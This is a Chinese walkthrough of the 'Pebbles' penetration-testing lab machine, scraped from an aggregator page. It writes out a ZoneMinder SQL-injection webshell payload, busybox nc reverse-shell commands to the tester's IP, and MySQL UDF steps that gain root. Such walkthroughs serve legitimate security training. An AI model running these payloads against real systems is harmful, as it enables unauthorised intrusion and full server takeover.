当前位置: 首页 > news >正文

PG靶机 - Pebbles

一、初步侦察与立足点获取

1.1 端口探测与服务识别

首先对目标进行全端口扫描,结果显示开放了 21 (FTP)、22 (SSH)、80 (HTTP)、3305 (HTTP) 和 8080 (HTTP) 等端口。

sudo nmap 192.168.186.52 -p- --min-rate=5000 -A

1.2 Web 服务探索

对扫描到的 Web 服务逐一进行排查。80 端口是一个登录页面,经过简单的弱口令尝试后宣告失败。

3305 和 8080 端口分别是 Apache 和 Tomcat 的默认欢迎页,并未发现有价值的信息。

1.3 目录爆破与应用发现 (ZoneMinder)

初步的目录扫描未能发现任何隐藏路径。

dirsearch -u http://192.168.186.52 -x 404

更换更强大的字典和工具进行深度爆破,成功发现了一个名为 zm 的目录。

feroxbuster -u http://192.168.186.52/

访问该目录,页面显示这是一个名为 ZoneMinder 的监控应用,版本号为 1.29.0。

1.4 漏洞识别与初始 Shell 获取 (SQL 注入)

针对 ZoneMinder v1.29.0 进行漏洞检索,发现存在一个已知的 SQL 注入漏洞。

经过验证,该漏洞确实存在,并且支持堆叠注入,这为我们执行任意 SQL 语句提供了可能。

利用堆叠注入和 INTO OUTFILE 语句,我们尝试向 Web 根目录 /var/www/html/ 写入一个 PHP Webshell。

select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/shell.php'

访问写入的 shell.php 文件并执行 whoami 命令,成功返回 www-data 用户,证明 webshell 已成功部署。

随即通过 Webshell 执行反弹 Shell 命令,成功获得了一个交互式 Shell。

busybox nc 192.168.45.250 22 -e /bin/bash


二、权限提升与 ROOT 权限获取

2.1 信息收集与提权路径分析

在获取初始 Shell 后,进行信息收集。一个关键的发现是,MySQL 服务是以 root 权限运行的。结合我们已有的堆叠注入能力,通过 MySQL UDF (User-Defined Function) 提权成为了一条可以尝试的路径。

2.2 UDF 提权与最终控制

首先,我们需要一个用于执行系统命令的 UDF 动态链接库。Sqlmap 自带的库是一个不错的选择,位于 /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_。该文件经过编码,需要使用 sqlmap 提供的 cloak.py 脚本进行解码。

python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i ~/lib_mysqludf_sys.so_ -o udf.so

接下来,将解码后的 udf.so 文件上传到目标服务器的 /tmp 目录下。由于 www-data 用户对 MySQL 的插件目录 /usr/lib/mysql/plugin/ 没有写权限,我们再次利用 SQL 注入,通过 load_filedumpfile 将 UDF 文件写入指定位置。

通过堆叠注入,依次执行以下 SQL 语句,完成 UDF 文件的加载并创建自定义函数 sys_eval

create table xdd(line blob);
insert into xdd values(load_file('/tmp/udf.so'));
select * from xdd into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';

函数创建成功后,调用 sys_eval 执行反弹 Shell 命令。

select sys_eval('busybox nc 192.168.45.250 22 -e /bin/bash');

在本地监听端口成功接收到回连,获取的 Shell 权限已是 root,提权成功。

http://www.lryc.cn/news/625848.html

相关文章:

  • 使用java做出minecraft2.0版本
  • 为了提高项目成功率,项目预算如何分配
  • Datawhale工作流自动化平台n8n入门教程(一):n8n简介与平台部署
  • LeetCode算法日记 - Day 16: 连续数组、矩阵区域和
  • 免费导航规划API接口详解:调用指南与实战示例
  • 海滨浴场应急广播:守护碧海蓝天的安全防线
  • Shopee本土店账号安全运营:规避封禁风险的多维策略
  • 云存储的高效安全助手:阿里云国际站 OSS
  • 技术攻坚全链铸盾 锁定12月济南第26届食品农产品安全高峰论坛
  • https如何保证传递参数的安全
  • 学习嵌入式的第二十一天——数据结构——链表
  • 乾元通渠道商中标六盘水应急指挥能力提升项目
  • 路由器最大传输速率测试
  • 首届机器人足球运动会技术复盘:从赛场表现看智能机器人核心技术突破
  • GTSAM中实现多机器人位姿图优化(multi-robot pose graph optimization)示例
  • 用机器人实现OpenAI GPT-5视觉驱动的闲聊:OpenAIAPI Key获取并配置启动视觉项目
  • sfc_os!SfcQueueValidationRequest函数分析之sfc_os!IsFileInQueue
  • 当MySQL的int不够用了
  • 差速转向机器人研发:创新驱动的未来移动技术探索
  • 实现进度条
  • 1分钟批量生成100张,Coze扣子智能体工作流批量生成人物一致的治愈系漫画图文(IP形象可自定义)
  • 华为鸿蒙系统SSH如何通过私钥连接登录
  • 如何成功初始化一个模块
  • Infusing fine-grained visual knowledge to Vision-Language Models
  • 传输层协议——UDP和TCP
  • 如何理解关系型数据库的ACID?
  • 【集合框架LinkedList底层添加元素机制】
  • ⭐CVPR2025 建模部件级动态的 4D 重建框架
  • 数据安全治理——解读67页2024金融数据安全治理白皮书【附全文阅读】
  • 路由器详解